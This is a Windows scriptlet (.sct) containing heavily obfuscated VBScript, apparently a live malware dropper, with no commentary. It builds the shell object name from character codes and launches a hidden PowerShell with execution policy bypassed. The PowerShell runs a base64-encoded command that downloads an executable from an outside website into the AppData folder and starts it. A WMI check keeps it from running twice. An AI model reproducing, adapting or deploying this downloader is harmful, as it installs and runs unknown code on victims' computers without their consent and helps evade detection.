Scriptlet

<?XML	version="1.0"?>
	<scriptlet>
 <registration
	description="g3FqiZ30ATtgS3XaE71WMVZQMPJwqdVqA97QgJJgm7tas"
	progid="aXy.bj5"
 version="1.0"
 classid="{1AE493A0-8E8F-4786-8468-3C903D89344C}"
 remotable="true"
	>
	</registration>
 <script language="VBScript">
 <![CDATA[
if	not	veFN8o	then
dIm	zkDXBZOXcrrFmu	:	dIM	ZEJoCzDboBZvyj	:	sEt	zkDXBZOXcrrFmu	=	cReateOBjECT	(	ChrW(&H57) & StrReverse(Chr(&H53)) & StrReverse(ChrW(&H43)) & ChrW(&H72) & StrReverse(Chr(&H69)) & StrReverse(Chr(&H50)) & StrReverse(ChrW(&H54)) & StrReverse(Chr(&H2E)) & StrReverse(ChrW(&H53)) & Chr(&H48) & ChrW(&H65) & StrReverse(Chr(&H6C)) & StrReverse(ChrW(&H6C))	)	:	ZEJoCzDboBZvyj	=	"	pOwerShEll.exE	-Ex	BYpass	-nOp	-w	hIDDeN	-ec	CQAoAG4AZQBXAC0AbwBCAGoARQBDAFQAIABzAHkAcwBUAGUAbQAuAE4AZQB0AC4AdwBlAEIAYwBMAEkARQBuAHQAKQAuAGQATwBXAE4AbABPAEEAZABGAEkAbABFACgACQAdIGgAdAB0AHAAOgAvAC8ANQBtAGkAbABlAHMALgBjAG8AbQAuAHMAZwAvAGwAaQBiAHIAYQByAGkAZQBzAC8AcABoAHAAdQB0AGYAOAAvAG0AYgBzAHQAcgBpAG4AZwAvAGYAYQBkAGEAYQAuAGUAeABlAB0gCQAsAAkAHSAkAGUAbgB2ADoAQQBQAHAARABhAFQAQQBcAGgAbwBtAGUALgBlAHgAZQAdIAkAKQAJADsACQBTAFQAQQByAFQACQAdICQAZQBOAHYAOgBhAFAAcABkAEEAVABBAFwAaABvAG0AZQAuAGUAeABlAB0g	"	:	zkDXBZOXcrrFmu.ruN	CHR	(	34	)	&	zkDXBZOXcrrFmu.exPaNdeNVIroNmEntstRinGS(	Chr(&H25) & StrReverse(Chr(&H73)) & StrReverse(ChrW(&H79)) & ChrW(&H53) & StrReverse(Chr(&H54)) & ChrW(&H45) & StrReverse(Chr(&H4D)) & StrReverse(Chr(&H52)) & StrReverse(ChrW(&H6F)) & ChrW(&H6F) & StrReverse(ChrW(&H54)) & StrReverse(Chr(&H25))	)	&	StrReverse(ChrW(&H5C)) & ChrW(&H53) & ChrW(&H79) & StrReverse(Chr(&H73)) & ChrW(&H54) & ChrW(&H65) & StrReverse(ChrW(&H4D)) & ChrW(&H33) & ChrW(&H32) & Chr(&H5C) & Chr(&H57) & StrReverse(ChrW(&H69)) & StrReverse(ChrW(&H6E)) & Chr(&H44) & Chr(&H4F) & StrReverse(Chr(&H57)) & StrReverse(ChrW(&H73)) & Chr(&H50) & ChrW(&H4F) & StrReverse(Chr(&H57)) & ChrW(&H45) & Chr(&H72) & ChrW(&H73) & StrReverse(Chr(&H68)) & ChrW(&H45) & StrReverse(Chr(&H6C)) & ChrW(&H4C) & Chr(&H5C) & StrReverse(ChrW(&H56)) & StrReverse(ChrW(&H31)) & Chr(&H2E) & Chr(&H30) & StrReverse(Chr(&H5C)) & Chr(&H50) & StrReverse(ChrW(&H6F)) & Chr(&H77) & Chr(&H45) & Chr(&H52) & Chr(&H53) & Chr(&H68) & ChrW(&H45) & ChrW(&H4C) & Chr(&H4C) & StrReverse(ChrW(&H2E)) & StrReverse(ChrW(&H45)) & ChrW(&H58) & StrReverse(ChrW(&H45))	&	CHr	(	34	)	&	CHr	(	32	)	&	Chr	(34	)	&	ZEJoCzDboBZvyj	&	cHr	(	34	)	,	0	:	set	zkDXBZOXcrrFmu	=	NoTHINg
end if
Function veFN8o
Dim	vLYABNGOT
Dim	vWi
Dim	vre
 Set vLYABNGOT =	GetObject("winmgmts:\\.\root\cimv2").ExecQuery(	_
 "Select * from	Win32_Process	where	Name='cscript.exe' or Name='wscript.exe'",,48)
	For	Each	vWi in vLYABNGOT
 If	Instr(1,	vWi.CommandLine, WScript.ScriptName, 1) >	0	Then
	vre = vre	+	1
	End If
 Next
 veFN8o	=	(vre > 1)
End Function
	]]>
	</script>